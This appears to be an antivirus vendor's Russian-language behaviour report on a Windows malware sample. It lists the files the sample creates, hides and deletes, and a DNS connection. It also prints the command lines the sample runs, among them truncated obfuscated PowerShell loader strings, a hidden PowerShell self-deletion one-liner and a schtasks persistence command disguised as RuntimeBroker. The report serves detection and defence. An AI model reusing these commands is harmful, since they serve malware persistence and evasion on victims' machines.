Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\runtimebroker_dpefhqkfci
Изменения в файловой системе
Создает следующие файлы
- <Полный путь к файлу>.exe
- %TEMP%\__psscriptpolicytest_wnso330t.pjm.ps1
- %TEMP%\__psscriptpolicytest_cgmxcvnk.mt3.psm1
- %APPDATA%\runtimebroker.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\<Имя файла>.exe.exe.log
- %APPDATA%\runtimebroker.exe.exe
- %TEMP%\__psscriptpolicytest_m4wi1nlx.qce.ps1
- %TEMP%\__psscriptpolicytest_nxcp1yta.4oi.psm1
- %TEMP%\8942edbb88\nbveek.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\runtimebroker.exe.exe.log
- %TEMP%\__psscriptpolicytest_fl4ityjo.pxs.ps1
- %TEMP%\__psscriptpolicytest_p5m15021.c3j.psm1
- %LOCALAPPDATA%\microsoft\windows\powershell\moduleanalysiscache
Присваивает атрибут 'скрытый' для следующих файлов
- <Полный путь к файлу>.exe
- %APPDATA%\runtimebroker.exe.exe
Удаляет файлы, которые сам же создал
- %TEMP%\__psscriptpolicytest_wnso330t.pjm.ps1
- %TEMP%\__psscriptpolicytest_cgmxcvnk.mt3.psm1
- %TEMP%\__psscriptpolicytest_m4wi1nlx.qce.ps1
- %TEMP%\__psscriptpolicytest_nxcp1yta.4oi.psm1
- <Полный путь к файлу>.exe
- %TEMP%\__psscriptpolicytest_fl4ityjo.pxs.ps1
- %TEMP%\__psscriptpolicytest_p5m15021.c3j.psm1
- %APPDATA%\runtimebroker.exe.exe
Изменяет следующие файлы
- %LOCALAPPDATA%\microsoft\windows\powershell\startupprofiledata-noninteractive
Сетевая активность
Подключается к
- '<DNS_SERVER>':53
Другое
Создает и запускает на исполнение
- '<Полный путь к файлу>.exe' "function Rr($v){$v.Replace('@', '')}$thUt=Rr 'Ch@ang@eEx@t@en@sio@n@';$fqlD=Rr 'Cre@ate@Dec@r@yp@to@r@';$QcBT=Rr 'R@eadA@ll@T@e@xt@';$xxiE=Rr 'Fr@omB@ase6@4@St@ri@n@g@';$nDxb=Rr 'Tr@ans@fo@rmF...
- '%APPDATA%\runtimebroker.exe'
- '%APPDATA%\runtimebroker.exe.exe' "function Rr($v){$v.Replace('@', '')}$thUt=Rr 'Ch@ang@eEx@t@en@sio@n@';$fqlD=Rr 'Cre@ate@Dec@r@yp@to@r@';$QcBT=Rr 'R@eadA@ll@T@e@xt@';$xxiE=Rr 'Fr@omB@ase6@4@St@ri@n@g@';$nDxb=Rr 'Tr@ans@fo@rmF...
- '%TEMP%\8942edbb88\nbveek.exe'
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c <Полный путь к файлу>.exe "function Rr($v){$v.Replace('@', '')}$thUt=Rr 'Ch@ang@eEx@t@en@sio@n@';$fqlD=Rr 'Cre@ate@Dec@r@yp@to@r@';$QcBT=Rr 'R@eadA@ll@T@e@xt@';$xxiE=Rr 'Fr@omB@ase6@4@St@ri@...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $a = [System.Diagnostics.Process]::GetProcessById(4736);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b; (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn RuntimeBroker_dPefHqkfCI /tr "%APPDATA%\RuntimeBroker.exe" (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /create /f /sc onlogon /rl highest /tn RuntimeBroker_dPefHqkfCI /tr "%APPDATA%\RuntimeBroker.exe"
- '%WINDIR%\syswow64\cmd.exe' /c %APPDATA%\RuntimeBroker.exe.exe "function Rr($v){$v.Replace('@', '')}$thUt=Rr 'Ch@ang@eEx@t@en@sio@n@';$fqlD=Rr 'Cre@ate@Dec@r@yp@to@r@';$QcBT=Rr 'R@eadA@ll@T@e@xt@';$xxiE=Rr 'Fr@omB@ase6@4@...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $a = [System.Diagnostics.Process]::GetProcessById(4180);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b; (со скрытым окном)
- '%TEMP%\8942edbb88\nbveek.exe' (со скрытым окном)
